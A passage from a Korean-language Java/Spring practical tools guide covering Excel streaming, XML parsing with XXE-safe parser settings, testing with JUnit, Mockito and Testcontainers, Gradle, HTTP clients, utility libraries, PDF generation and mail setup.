    res.setHeader(HttpHeaders.CONTENT_DISPOSITION,
            "attachment; filename=\"" + encoded + "\"; filename*=UTF-8''" + encoded);

    // 파일을 만들지 않고 응답 스트림에 바로 씁니다 (메모리·디스크 절약)
    try (OutputStream out = res.getOutputStream()) {
        excelWriter.write(orderService.searchAll(cond), out);
        out.flush();
    }
}
한글 파일명이 깨지는 이유 — HTTP 헤더는 기본이 ASCII 입니다. filename*=UTF-8'' 형식을 같이 넣어야 브라우저마다 다르게 동작하는 문제를 피할 수 있습니다.

자주 쓰는 기능

// 셀 병합
sheet.addMergedRegion(new CellRangeAddress(0, 0, 0, 2));  // 첫행 A~C

// 컬럼 너비 직접 지정 (autoSizeColumn 은 한글에 부정확 + 느립니다)
sheet.setColumnWidth(0, 15 * 256);        // 15글자 폭

// 수식
row.createCell(5).setCellFormula("C2*0.1");

// 하이퍼링크
CreationHelper helper = wb.getCreationHelper();
Hyperlink link = helper.createHyperlink(HyperlinkType.URL);
link.setAddress("https://example.com/orders/1");
cell.setHyperlink(link);

// 여러 시트
Sheet s1 = wb.createSheet("요약");
Sheet s2 = wb.createSheet("상세");

// 드롭다운(데이터 유효성)
var helper2 = new XSSFDataValidationHelper((XSSFSheet) sheet);
var constraint = helper2.createExplicitListConstraint(
        new String[]{"대기", "완료", "취소"});
var range = new CellRangeAddressList(1, 100, 3, 3);
sheet.addValidationData(helper2.createValidation(constraint, range));

// 셀 보호
sheet.protectSheet("비밀번호");
TOOL 07

대용량 엑셀 · 스트리밍

수만 행 이상이면 일반 방식은 반드시 OOM 이 납니다. 읽기·쓰기 모두 다른 방법이 필요합니다.

쓰기 — SXSSF

// XSSFWorkbook 은 모든 행을 메모리에 들고 있습니다
// SXSSFWorkbook 은 오래된 행을 디스크로 내립니다 ★

public void writeLarge(Stream<OrderRes> orders, OutputStream out) throws IOException {
    SXSSFWorkbook wb = new SXSSFWorkbook(100);   // 메모리엔 최근 100행만
    wb.setCompressTempFiles(true);

    try {
        Sheet sheet = wb.createSheet("주문");
        CellStyle dateStyle = dateStyle(wb);     // 스타일은 한 번만!

        Row header = sheet.createRow(0);
        for (int i = 0; i < HEADERS.length; i++)
            header.createCell(i).setCellValue(HEADERS[i]);

        int[] r = {1};
        orders.forEach(o -> {
            Row row = sheet.createRow(r[0]++);
            row.createCell(0).setCellValue(o.orderNo());
            row.createCell(1).setCellValue(o.amount());
        });

        wb.write(out);
    } finally {
        wb.dispose();      // ★ 임시 파일 삭제 — 빠뜨리면 디스크가 찹니다
        wb.close();
    }
}
// ⚠️ SXSSF 는 autoSizeColumn 을 못 씁니다 (지나간 행을 볼 수 없어서)
//    setColumnWidth 로 직접 지정하세요
DB 조회도 스트리밍으로 — List<Order> findAll() 로 100만 건을 먼저 메모리에 올리면 엑셀을 스트리밍해도 소용이 없습니다. JPA 는 Stream<Order>, MyBatis 는 Cursor 를 쓰세요.

읽기 — 이벤트 방식(SAX)

// 100MB 엑셀을 메모리 수십 MB 로 읽습니다
public void readLarge(InputStream in, Consumer<List<String>> rowHandler)
        throws Exception {

    try (OPCPackage pkg = OPCPackage.open(in)) {
        XSSFReader reader = new XSSFReader(pkg);
        SharedStrings sst = reader.getSharedStringsTable();
        StylesTable styles = reader.getStylesTable();

        var handler = new XSSFSheetXMLHandler(styles, sst,
                new XSSFSheetXMLHandler.SheetContentsHandler() {
                    private final List<String> row = new ArrayList<>();

                    @Override public void startRow(int rowNum) { row.clear(); }
                    // 빈 셀은 이벤트가 아예 안 옵니다 — 그냥 add 하면 뒤 열이 앞으로 당겨지므로
                    // 셀 주소(B3 등)에서 열 번호를 구해 빈칸을 ""로 채운다
                    @Override public void cell(String ref, String value,
                                               XSSFComment c) {
                        int col = new CellReference(ref).getCol();
                        while (row.size() < col) row.add("");
                        row.add(value);
                    }
                    @Override public void endRow(int rowNum) {
                        if (rowNum > 0) rowHandler.accept(List.copyOf(row));
                    }
                }, false);

        XMLReader parser = XMLHelper.newXMLReader();
        parser.setContentHandler(handler);

        Iterator<InputStream> sheets = reader.getSheetsData();
        while (sheets.hasNext()) {
            try (InputStream sheet = sheets.next()) {
                parser.parse(new InputSource(sheet));
            }
        }
    }
}

// 사용 — 읽으면서 바로 배치 저장
List<OrderRow> batch = new ArrayList<>(1000);
readLarge(in, cols -> {
    batch.add(OrderRow.of(cols));
    if (batch.size() >= 1000) { repository.saveAll(batch); batch.clear(); }
});
if (!batch.isEmpty()) repository.saveAll(batch);
더 쉬운 길 — CSV
요구사항이 “엑셀에서 열리기만 하면 된다”라면 CSV 가 압도적으로 빠르고 가볍습니다. 수백만 행도 메모리 걱정 없이 처리됩니다. 다만 한글이 깨지지 않게 BOM 을 붙여야 엑셀이 UTF-8 로 인식합니다.
res.setContentType("text/csv; charset=UTF-8");
OutputStream out = res.getOutputStream();
out.write(new byte[]{(byte)0xEF, (byte)0xBB, (byte)0xBF});   // ★ UTF-8 BOM
try (var w = new BufferedWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8))) {
    w.write("주문번호,고객명,금액\n");
    for (var o : orders) w.write("%s,%s,%d%n".formatted(o.orderNo(), o.name(), o.amount()));
}
파일이 커지면 방식을 바꿔야 합니다 ① 일반 방식 — 전부 메모리에 XSSFWorkbook(file) — 통째로 객체화 10만 행이면 수 GB 를 쓰기도 합니다 OutOfMemoryError · 서버 전체가 느려집니다 ② 스트리밍 — 흘려보내며 처리 읽기 — SAX 이벤트 방식(sheet 를 순서대로) 쓰기 — SXSSFWorkbook (일정 행마다 디스크로) 메모리는 행 수와 무관하게 일정합니다 고르는 기준 수천 행 · 서식이 복잡 → 일반 방식이 편합니다 수만 행 이상 · 사용자 업로드 → 스트리밍 업로드 파일 크기 제한을 반드시 걸어 두세요 그것이 없으면 누구든 서버를 멈출 수 있습니다 다운로드는 응답으로 바로 흘립니다 파일을 다 만든 뒤 보내면 그동안 메모리에 들고 있게 됩니다 응답 스트림에 직접 쓰면 사용자도 빨리 받기 시작합니다 수십만 행이라면 CSV 를 권하세요 — 훨씬 가볍고 빠릅니다 엑셀 서식이 꼭 필요한지 먼저 확인하는 편이 좋습니다
"엑셀 받다가 서버가 죽어요"의 답은 스트리밍과 크기 제한입니다.
행 수에 따른 힙 사용량 — 10열 기준 대표값, 붉은 점선이 힙 한도입니다 0 1 GB 2 GB -Xmx2g 힙 한도 OutOfMemoryError — 20만 행 근처 XSSFWorkbook — 행에 비례해 늘어남 SXSSFWorkbook(100) — 약 50 MB 에서 평평 0 10만 20만 30만 40만 50만 행 읽기는 SAX, 쓰기는 SXSSF — 둘 다 메모리가 행 수와 무관해집니다 업로드 크기 제한이 없으면 누구든 이 붉은 선을 넘길 수 있습니다
"엑셀 받다가 서버가 죽어요"의 답은 스트리밍과 크기 제한입니다.
TOOL 08

XML 파싱 — 4가지 방식

공공기관 연동·레거시 시스템에서 여전히 XML 을 씁니다. 상황에 맞는 방식을 골라야 합니다.

방식특징메모리언제
DOM전체를 트리로 올림. 자유롭게 탐색파일 크기의 5~10배작은 파일 (~수 MB)
SAX이벤트 기반. 읽으면서 처리거의 안 씀대용량, 한 번만 훑을 때
StAX내가 당겨서 읽음(pull)거의 안 씀대용량 + 제어가 필요할 때 ★
JAXB객체에 자동 매핑DOM 수준스키마가 정해진 연동 ★

① DOM — 작은 파일에 가장 편함

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// ★ 보안 필수 — XXE 공격 방지 (외부 엔티티 차단)
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

Document doc = factory.newDocumentBuilder().parse(inputStream);
doc.getDocumentElement().normalize();

NodeList orders = doc.getElementsByTagName("order");
for (int i = 0; i < orders.getLength(); i++) {
    Element e = (Element) orders.item(i);
    String no = e.getAttribute("no");
    String name = text(e, "customerName");
    int amount = Integer.parseInt(text(e, "amount"));
}

private static String text(Element parent, String tag) {
    NodeList n = parent.getElementsByTagName(tag);
    return n.getLength() > 0 ? n.item(0).getTextContent().trim() : null;
}

// XPath — 깊은 곳을 한 줄로 찾기
XPath xp = XPathFactory.newInstance().newXPath();
NodeList paid = (NodeList) xp.evaluate(
        "//order[status='PAID']/customerName", doc, XPathConstants.NODESET);
String total = xp.evaluate("/orders/@total", doc);

② StAX — 대용량에 권장

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);            // XXE 방지
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
factory.setProperty(XMLInputFactory.IS_COALESCING, true);   // 텍스트 하나가 CHARACTERS 여러 번으로 쪼개지지 않게

XMLStreamReader r = factory.createXMLStreamReader(inputStream);

OrderRow current = null;
String tag = null;

while (r.hasNext()) {
    switch (r.next()) {
        case XMLStreamConstants.START_ELEMENT -> {
            tag = r.getLocalName();
            if ("order".equals(tag)) {
                current = new OrderRow();
                current.setNo(r.getAttributeValue(null, "no"));
            }
        }
        case XMLStreamConstants.CHARACTERS -> {
            if (current != null && !r.isWhiteSpace()) {
                String v = r.getText().trim();
                switch (tag) {
                    case "customerName" -> current.setName(v);
                    case "amount" -> current.setAmount(Integer.parseInt(v));
                    default -> { }
                }
            }
        }
        case XMLStreamConstants.END_ELEMENT -> {
            if ("order".equals(r.getLocalName()) && current != null) {
                handle(current);            // 한 건 완성 → 즉시 처리
                current = null;
            }
            tag = null;
        }
        default -> { }
    }
}
r.close();

③ JAXB — 객체 매핑 (가장 편함)

implementation("jakarta.xml.bind:jakarta.xml.bind-api:4.0.2") · runtimeOnly("org.glassfish.jaxb:jaxb-runtime:4.0.5")
Java 11부터 JDK 에서 빠졌으므로 의존성을 직접 넣어야 합니다.
@XmlRootElement(name = "orders")
@XmlAccessorType(XmlAccessType.FIELD)
public class OrderList {
    @XmlAttribute private int total;
    @XmlElement(name = "order")
    private List<OrderXml> orders = new ArrayList<>();
}

@XmlAccessorType(XmlAccessType.FIELD)
public class OrderXml {
    @XmlAttribute private String no;
    @XmlElement private String customerName;
    @XmlElement private int amount;
    @XmlElement
    @XmlJavaTypeAdapter(LocalDateAdapter.class)
    private LocalDate orderDate;
}

// 읽기
JAXBContext ctx = JAXBContext.newInstance(OrderList.class);
OrderList list = (OrderList) ctx.createUnmarshaller().unmarshal(inputStream);

// 쓰기
Marshaller m = ctx.createMarshaller();
m.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true);
m.setProperty(Marshaller.JAXB_ENCODING, "UTF-8");
m.marshal(list, outputStream);

④ Jackson XML — JSON 쓰듯이

implementation("tools.jackson.dataformat:jackson-dataformat-xml")
Jackson 3 좌표입니다. Boot 3(Jackson 2)이라면 com.fasterxml.jackson.dataformat.
XmlMapper xmlMapper = XmlMapper.builder()
        .defaultUseWrapper(false)           // java.time 은 Jackson 3 에 내장 — 모듈 등록 불필요
        .build();

// 읽기
OrderList list = xmlMapper.readValue(xml, OrderList.class);
// 쓰기
String out = xmlMapper.writeValueAsString(list);

// 매핑
@JacksonXmlRootElement(localName = "orders")
public record OrderList(
        @JacksonXmlProperty(isAttribute = true) int total,
        @JacksonXmlElementWrapper(useWrapping = false)
        @JacksonXmlProperty(localName = "order") List<OrderXml> orders
) { }
XXE 취약점을 항상 조심하세요 — 외부에서 받은 XML 을 기본 설정으로 파싱하면 서버의 파일(/etc/passwd)을 읽히거나 내부망 요청을 유발할 수 있습니다. DTD·외부 엔티티를 반드시 끄세요.
TOOL 09

테스트 도구

JUnit 6 · Mockito · AssertJ 조합이 표준입니다. (JUnit 6 은 2025-09 GA — Java 17 베이스라인이고 Platform·Jupiter·Vintage 가 버전 번호를 통일했습니다. 애노테이션·패키지는 org.junit.jupiter 그대로라 JUnit 5 코드는 대부분 그대로 돕니다.)

JUnit 6

class OrderTest {

    @BeforeEach void setUp() { }
    @AfterEach  void tearDown() { }

    @Test
    @DisplayName("결제하면 상태가 PAID 로 바뀐다")
    void pay() { }

    @ParameterizedTest                        // 여러 입력으로 반복 ★
    @ValueSource(ints = {0, -1, -1000})
    void 잘못된_금액(int amount) {
        assertThatThrownBy(() -> Order.create("A", amount))
                .isInstanceOf(IllegalArgumentException.class);
    }

    @ParameterizedTest
    @CsvSource({
        "1000, 100",
        "10000, 1000",
        "0, 0"
    })
    void 부가세_계산(int amount, int expected) {
        assertThat(calcVat(amount)).isEqualTo(expected);
    }

    @Nested
    @DisplayName("취소할 때")
    class Cancel {
        @Test void 배송_전이면_성공() { }
        @Test void 배송_후면_실패() { }
    }

    @Test @Disabled("결제 API 준비 후")
    void 결제_연동() { }
}

Mockito · AssertJ

// Mockito — 가짜 객체
given(repository.findById(1L)).willReturn(Optional.of(order));
given(client.call(any())).willThrow(new TimeoutException());
willDoNothing().given(notifier).send(anyString(), anyString());

then(notifier).should(times(1)).send("a@b.c", "완료");
then(notifier).shouldHaveNoMoreInteractions();   // 위에서 확인한 것 말고는 호출 없음
// (shouldHaveNoInteractions() 는 "한 번도 안 불렸다" — 위 검증과 함께 쓰면 실패합니다)

// 인자 캡처 — 실제로 무엇이 넘어갔는지 확인
ArgumentCaptor<Order> captor = ArgumentCaptor.forClass(Order.class);
then(repository).should().save(captor.capture());
assertThat(captor.getValue().getStatus()).isEqualTo(PAID);

// AssertJ — 읽기 쉬운 단언
assertThat(orders).hasSize(3)
                  .extracting(Order::getStatus)
                  .containsExactly(PAID, PAID, DONE);

assertThat(order.getAmount()).isEqualTo(1000);
assertThat(name).isNotBlank().startsWith("김");
assertThat(map).containsEntry("key", "value");
assertThat(result).isPresent().get()
                  .extracting(OrderRes::id).isEqualTo(1L);

assertThatThrownBy(() -> service.pay(1L))
        .isInstanceOf(AlreadyPaidException.class)
        .hasMessageContaining("이미 결제");

// 여러 단언을 한 번에 (실패해도 전부 검사)
assertSoftly(s -> {
    s.assertThat(o.getId()).isEqualTo(1L);
    s.assertThat(o.getAmount()).isEqualTo(1000);
});
TOOL 10

Gradle 빌드

매일 쓰지만 제대로 안 보게 되는 파일입니다. 자주 필요한 것만 정리합니다.

plugins {
    java
    id("org.springframework.boot") version "4.1.0"
    id("io.spring.dependency-management") version "1.1.7"
}

group = "com.myapp"
version = "1.0.0"

java {
    toolchain { languageVersion = JavaLanguageVersion.of(25) }
}

repositories { mavenCentral() }

dependencies {
    implementation("org.springframework.boot:spring-boot-starter-webmvc")
    implementation("org.springframework.boot:spring-boot-starter-data-jpa")

    compileOnly("org.projectlombok:lombok")
    annotationProcessor("org.projectlombok:lombok")

    runtimeOnly("com.mysql:mysql-connector-j")

    testImplementation("org.springframework.boot:spring-boot-starter-test")
    testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}

tasks.test {
    useJUnitPlatform()
    testLogging { events("passed", "skipped", "failed") }
}
스코프의미
implementation컴파일+런타임. 기본값
api의존성을 밖으로 노출 (라이브러리 모듈)
compileOnly컴파일만 (Lombok)
runtimeOnly실행만 (JDBC 드라이버)
annotationProcessor코드 생성 (Lombok·QueryDSL)

자주 쓰는 명령

./gradlew build              # 컴파일 + 테스트 + jar
./gradlew build -x test      # 테스트 건너뛰기
./gradlew clean build --refresh-dependencies
./gradlew bootRun
./gradlew test --tests "*OrderServiceTest*"
./gradlew dependencies       # 의존성 트리 (충돌 추적) ★
./gradlew dependencyInsight --dependency jackson-databind
./gradlew --build-cache build   # 캐시 활용 (빠름)

버전 충돌 해결

// 특정 의존성 제외
implementation("org.example:lib") {
    exclude(group = "commons-logging", module = "commons-logging")
}

// 버전 강제
configurations.all {
    resolutionStrategy {
        force("tools.jackson.core:jackson-databind:3.0.0")
        failOnVersionConflict()      // 충돌 시 빌드 실패 (엄격)
    }
}
NoSuchMethodError·NoClassDefFoundError 가 뜨면 거의 항상 같은 라이브러리의 다른 버전이 두 개 들어와 있는 것입니다. ./gradlew dependencies 로 트리를 보고 버전을 하나로 고정하세요.
Gradle — 같은 build 를 두 번, 흐린 칸은 입력이 그대로라 건너뛴 작업입니다 첫 빌드 — 다섯 작업 모두 실행 · 합계 약 58초 compileJava 12 s processResources 0.3 s bootJar 3 s compileTestJava 5 s test 38 s 테스트 파일 하나만 고친 뒤 — 앞의 셋은 UP-TO-DATE · 합계 약 43초 compileJava UP-TO-DATE processResources UP-TO-DATE bootJar UP-TO-DATE compileTestJava 5 s test 38 s — 건너뛰지 못함 남은 43초 중 38초가 test 입니다 — 빌드를 줄이려면 여기부터 봅니다 bootJar 는 test 를 기다리지 않습니다 — build 는 assemble 과 check 를 부를 뿐입니다 --build-cache 를 켜면 다른 브랜치 · CI 의 결과를 FROM-CACHE 로 가져옵니다 api 는 쓰는 쪽까지 전파 · implementation 은 나만 — 전파가 적을수록 덜 다시 컴파일합니다
빌드가 느리다면 먼저 물어보세요 — 무엇이 건너뛰지 못하고 있는가.
TOOL 11

HTTP 클라이언트

외부 API 를 부를 때 무엇을 쓸지 정리합니다.

RestClient — MVC 의 새 표준 Spring 6.1+

@Bean
public RestClient apiClient(RestClient.Builder builder) {
    var factory = new SimpleClientHttpRequestFactory();
    factory.setConnectTimeout(2000);
    factory.setReadTimeout(5000);

    return builder
            .baseUrl("https://api.example.com")
            .requestFactory(factory)
            .defaultHeader("X-Api-Key", apiKey)
            .build();
}

// 사용 — 동기 방식이라 읽기 쉽습니다
UserRes user = client.get()
        .uri("/users/{id}", id)
        .retrieve()
        .onStatus(s -> s.value() == 404,
                  (req, res) -> { throw new UserNotFoundException(id); })
        .body(UserRes.class);

OrderRes created = client.post()
        .uri("/orders")
        .contentType(MediaType.APPLICATION_JSON)
        .body(new OrderCreateReq(1L, 2))
        .retrieve()
        .body(OrderRes.class);

무엇을 고를까

클라이언트언제
RestClientMVC 신규 코드의 기본
WebClientWebFlux, 또는 병렬 호출이 필요할 때
RestTemplate레거시 — 새로 쓰지 마세요
HTTP Interface선언형 — 인터페이스만 정의
Feign스프링 클라우드 환경
// HTTP Interface — 가장 깔끔합니다 ★
public interface UserApi {
    @GetExchange("/users/{id}")
    UserRes get(@PathVariable Long id);

    @PostExchange("/users")
    UserRes create(@RequestBody UserCreateReq req);
}

@Bean
public UserApi userApi(RestClient client) {
    return HttpServiceProxyFactory
            .builderFor(RestClientAdapter.create(client))
            .build()
            .createClient(UserApi.class);
}
// 주입해서 그냥 메서드처럼 호출합니다
외부 호출에 반드시 넣을 3가지 — 타임아웃(안 넣으면 무한 대기), 재시도 + 백오프(일시 오류만), 서킷 브레이커(상대가 죽었을 때 우리까지 죽지 않게).
TOOL 12

Testcontainers — 진짜 DB 로 테스트하기

H2 로 통과한 테스트는 운영에서 통과한다는 뜻이 아닙니다.

H2 로 테스트할 때 놓치는 것

H2 에서는 통과하는데 운영(MySQL·Oracle)에서 터지는 것들

  · 문자열 비교의 대소문자 구분 (콜레이션이 다름)
  · 날짜 함수 · 문자 함수 이름이 다름 (DATE_FORMAT, NVL …)
  · JSON 컬럼 · 전문 검색 · 시퀀스 동작
  · 락 · 격리 수준 동작 (SELECT FOR UPDATE 의 실제 동작)
  · 인덱스가 실제로 타는지 (실행 계획이 아예 다름)
  · 예약어 · 컬럼 길이 초과 시의 동작

그래서 "테스트가 초록불인데 배포하면 죽는" 일이 생깁니다.
testImplementation("org.springframework.boot:spring-boot-testcontainers")
testImplementation("org.testcontainers:mysql") · testImplementation("org.testcontainers:kafka")
⚠️ 실행하는 곳에 도커가 있어야 합니다 (로컬·CI 모두).

동작 방식

테스트 시작 → 도커로 MySQL 컨테이너를 띄움 (랜덤 포트)
           → 스프링 DataSource 를 그 주소로 자동 연결
           → Flyway 가 실제 마이그레이션을 실행
           → 테스트 실행
           → 끝나면 컨테이너 자동 삭제

운영과 "같은 버전의 진짜 DB" 위에서 테스트가 돕니다.

스프링 부트 3.1+ — 이제 코드가 짧습니다

@TestConfiguration(proxyBeanMethods = false)
public class ContainerConfig {

    @Bean
    @ServiceConnection                      // ★ 접속 정보를 자동으로 연결해 줍니다
    MySQLContainer<?> mysql() {
        return new MySQLContainer<>("mysql:8.0.36")
                .withReuse(true);                // 테스트 간 재사용 (빠름)
    }

    @Bean
    @ServiceConnection
    GenericContainer<?> redis() {
        return new GenericContainer<>("redis:7-alpine").withExposedPorts(6379);
    }
}

@SpringBootTest
@Import(ContainerConfig.class)
class OrderIntegrationTest {

    @Autowired OrderService orderService;

    @Test
    void 재고가_부족하면_주문이_실패한다() {
        assertThatThrownBy(() -> orderService.order(1L, 999))
            .isInstanceOf(OutOfStockException.class);
    }
}
로컬 개발도 편해집니다. src/test 에 TestApplication 을 만들어 두면 DB 를 설치하지 않고도 ./gradlew bootTestRun 으로 앱을 띄울 수 있습니다. 신규 입사자 세팅 시간이 하루에서 10분이 됩니다.

테스트 층 나누기 — 실무 기준

층범위와 속도
단위 테스트스프링 없이 순수 객체. 밀리초. 가장 많이 만드세요
@DataJpaTestJPA 계층만. Testcontainers 와 조합하면 쿼리 검증에 최적
@WebMvcTest컨트롤러만. 서비스는 @MockitoBean 으로
통합 테스트전체 기동. 느리므로 핵심 흐름만 (주문·결제·로그인)
CI 가 느려지는 걸 조심하세요. 모든 테스트를 @SpringBootTest 로 만들면 빌드가 20분이 되고, 그러면 아무도 테스트를 안 돌립니다. 컨테이너는 재사용(withReuse)하고, 무거운 통합 테스트는 태그로 분리해 머지 전에만 돌리세요.
운영과 같은 결과가 나오는가 — 같은 쿼리를 세 곳에서 돌렸을 때 H2 (MySQL 모드) Testcontainers MySQL 8.0 운영 MySQL 8.0 대소문자 비교 'a' = 'A' false true true DATE_FORMAT(now(), '%Y-%m') 오류 — 함수 없음 2026-10 2026-10 JSON_EXTRACT(doc, '$.name') 오류 — 함수 없음 "kim" "kim" 범위 UPDATE 의 잠금 행 잠금만 갭 락 포함 갭 락 포함 실행 계획 (EXPLAIN) 다른 옵티마이저 엔진 같음 · 양은 다름 idx_user_date H2 열이 붉은 만큼 "초록불인데 운영에서 터지는" 테스트가 생깁니다 실행 계획만은 컨테이너도 다를 수 있습니다 — 데이터 양이 다르면 판단이 달라집니다
통합 테스트의 값은 운영과 같은 것으로 확인했는가에서 나옵니다.
TOOL 13

목적별 도구 찾기

“이걸 하려면 뭘 써야 하지?”를 한글로 검색하세요.

도구 검색

하고 싶은 일도구메모
엑셀 읽기·쓰기org.apache.poi:poi-ooxml대용량은 SXSSF — 05~07번
CSV 처리com.opencsv:opencsv엑셀보다 훨씬 가벼움. BOM 주의
PDF 생성com.openhtmltopdf · iTextHTML → PDF 가 가장 편함
로깅SLF4J + Logback / Log4j202번
JSONjackson-databind부트에 이미 포함 — 03번
XMLJAXB · StAX · Jackson XML08번
DTO 변환MapStruct04번
로컬 캐시com.github.ben-manes.caffeine@Cacheable과 함께
분산 캐시·세션spring-boot-starter-data-redis서버 여러 대일 때
주기 실행@Scheduled · Quartz여러 대면 ShedLock
대용량 배치Spring Batch재시작·청크 처리
메시지 큐Kafka · RabbitMQ서비스 간 비동기 연동
비밀번호 해시PasswordEncoder (bcrypt)🔐 04번
양방향 암호화javax.crypto (AES-GCM)주민번호·계좌번호 저장
설정값 암호화Jasypt환경 변수를 더 권장
ZIP 압축java.util.zip표준 라이브러리
클라우드 파일 저장AWS SDK v2 (S3)Presigned URL 활용
이미지 처리net.coobird:thumbnailator리사이즈·썸네일
QR·바코드com.google.zxing
메일 발송spring-boot-starter-mailThymeleaf 로 템플릿
서버 렌더링Thymeleaf관리자 화면에 적합
API 문서springdoc-openapi/swagger-ui.html
단위 테스트JUnit5 · Mockito · AssertJ09번
통합 테스트Testcontainers진짜 DB 로 검증
테스트 데이터Instancio · EasyRandom픽스처 자동 생성
범용 유틸commons-lang3 · Guava과하게 쓰진 마세요
재시도Spring Retry · Resilience4j@Retryable
모니터링Actuator + Micrometer🍃 15번
분산 추적Micrometer Tracing + ZipkinMSA 필수
빌드Gradle10번
정적 분석SonarQube · SpotBugsCI 에 연결
TOOL 14

범용 유틸 — Commons · Guava · Caffeine

"이거 어디에나 있을 것 같은데" 싶은 코드는 대부분 이미 있습니다. 직접 짜기 전에 세 라이브러리를 먼저 뒤지세요.

Apache Commons — Lang3 · IO

// implementation "org.apache.commons:commons-lang3"
StringUtils.isBlank(s);            // null·""·공백 전부 한 번에
StringUtils.abbreviate(title, 20); // "긴 제목은 이렇게 잘…"
StringUtils.leftPad("7", 5, '0');  // "00007" — 채번·정렬용
StringUtils.stripAccents("café");  // "cafe"

ObjectUtils.firstNonNull(a, b, "기본값");  // null 아닌 첫 값
RandomStringUtils.secureStrong().nextAlphanumeric(8);  // 임시 코드

// implementation "commons-io:commons-io"
FileUtils.readFileToString(f, UTF_8);
FileUtils.copyDirectory(src, dst);
FileUtils.byteCountToDisplaySize(1_234_567);  // "1 MB"
FilenameUtils.getExtension("정산_0811.xlsx"); // "xlsx"
표준으로 되는 건 표준으로. Files.readString·String.repeat· Objects.requireNonNullElse 처럼 JDK 에 이미 들어온 것들이 많습니다. Commons 는 JDK 에 없는 빈틈(leftPad·humanReadable·디렉터리 복사)을 메울 때 씁니다.

Guava — 컬렉션 유틸의 곳간

// implementation "com.google.guava:guava"
Lists.partition(orders, 500)       // 500개씩 잘라 배치 처리
     .forEach(batch -> repo.saveAll(batch));

Multimap<String, Order> byCity = ArrayListMultimap.create();
// Map<String, List<Order>> 의 "리스트 없으면 만들기" 코드가 사라짐

Sets.difference(현재회원, 어제회원);   // 신규 가입자 — 집합 연산
Splitter.on(',').trimResults().omitEmptyStrings().split(csvLine);

Caffeine — 로컬 캐시의 표준

// implementation "com.github.ben-manes.caffeine:caffeine"
LoadingCache<Long, Product> cache = Caffeine.newBuilder()
    .maximumSize(10_000)                       // 넘치면 LFU 근사로 축출
    .expireAfterWrite(Duration.ofMinutes(5))   // TTL
    .recordStats()                             // 히트율 측정
    .build(id -> productRepo.findById(id).orElse(null));  // 미스 시 로딩 (null 이면 캐시 안 함)

Product p = cache.get(15L);   // 있으면 즉시, 없으면 DB → 캐시
Redis 캐시와 역할이 다릅니다 — Caffeine 은 프로세스 안(0.1µs·서버별 따로), Redis 는 서버 밖 공유(0.1ms·전 서버 동일). 실무 표준은 2단 캐시: Caffeine 으로 1차 → 미스면 Redis → 미스면 DB (⚡ k03).
TOOL 15

PDF 생성 — 정산서 · 계약서 · 증명서

사내 시스템의 단골 요구입니다. 라이브러리 선택에서 라이선스가 함정이라 기능보다 먼저 봐야 합니다.

라이브러리라이선스특징
OpenHTMLtoPDF무료 (Apache 계열)HTML+CSS → PDF. 디자인을 HTML 로 짜는 현대적 방식 — 실무 1순위 추천
Apache PDFBox무료 (Apache)저수준 — 좌표 찍어 그리기·기존 PDF 편집·텍스트 추출. 템플릿 채우기에 유용
iTextAGPL — 사실상 상용 유료기능은 최강. 단 AGPL 이라 소스 공개 의무 — 회사 서비스라면 라이선스 구매 전제로만
JasperReports무료 (LGPL)리포트 디자이너 도구 기반. 정형 리포트 대량 출력의 전통 강자 — 학습 곡선 있음

OpenHTMLtoPDF — HTML 이 곧 서식

// implementation "io.github.openhtmltopdf:openhtmltopdf-pdfbox"
String html = templateEngine.process("invoice",        // Thymeleaf 로
    Map.of("order", order, "items", items));           // 데이터 채우고

try (OutputStream os = new FileOutputStream("정산서.pdf")) {
    PdfRendererBuilder b = new PdfRendererBuilder();
    b.useFont(new File("fonts/NotoSansKR-Regular.ttf"), // ★ 한글 폰트
              "Noto Sans KR");                          //   임베드 필수!
    b.withHtmlContent(html, null);
    b.toStream(os);
    b.run();
}
한글이 □□□ 로 나오면 100% 폰트 문제입니다. PDF 는 서버 폰트를 안 씁니다 — ttf 를 프로젝트에 넣고 임베드해야 하고, CSS 에도 font-family:'Noto Sans KR' 을 명시해야 합니다. 상업 배포가 자유로운 폰트(Noto·Pretendard)를 쓰세요.

PDFBox — 기존 양식에 채워 넣기

// 디자인팀이 준 양식 PDF 의 빈칸만 채우는 패턴
try (PDDocument doc = Loader.loadPDF(new File("양식.pdf"))) {
    PDPage page = doc.getPage(0);
    PDFont font = PDType0Font.load(doc,
        new File("fonts/NotoSansKR-Regular.ttf"));   // 한글은 Type0 로

    try (PDPageContentStream cs = new PDPageContentStream(
            doc, page, AppendMode.APPEND, true)) {
        cs.beginText();
        cs.setFont(font, 11);
        cs.newLineAtOffset(140, 620);     // 좌표는 좌하단 원점
        cs.showText("김하늘");
        cs.endText();
    }
    doc.save("계약서_김하늘.pdf");
}
고르는 기준 — 새 문서를 만들면 OpenHTMLtoPDF(HTML 로 디자인), 기존 PDF 를 채우거나 합치면 PDFBox, 수십만 건 정형 리포트 팩토리는 JasperReports. 대량 생성은 CPU 를 많이 먹으니 비동기 큐(⚡ k08)로 빼는 것까지가 설계입니다.
TOOL 16

메일 · 알림 · 스케줄 중복 방지

가입 인증 메일, 장애 슬랙 알림, 새벽 정산 배치 — 운영에 들어가면 반드시 만나는 세 가지를 한 번에 정리합니다.

메일 발송 — spring-boot-starter-mail

# application.yml — SMTP 설정 (Gmail·SES·사내 SMTP 동일 구조)
spring:
  mail:
    host: email-smtp.ap-northeast-2.amazonaws.com
    port: 587
    username: ${SMTP_USER}      # 비밀은 환경 변수로 (b05)
    password: ${SMTP_PASS}
    properties:
      mail.smtp.auth: true
      mail.smtp.starttls.enable: true
@Async                              // ★ 발송은 반드시 비동기로
public void sendWelcome(User user) throws MessagingException {
    MimeMessage msg = mailSender.createMimeMessage();
    MimeMessageHelper h = new MimeMessageHelper(msg, true, "UTF-8");
    h.setTo(user.email());
    h.setSubject("가입을 환영합니다");
    h.setText(templateEngine.process("welcome",        // HTML 템플릿
        new Context(Locale.KOREA, Map.of("name", user.name()))), true);
    h.addAttachment("이용약관.pdf", new ClassPathResource("terms.pdf"));
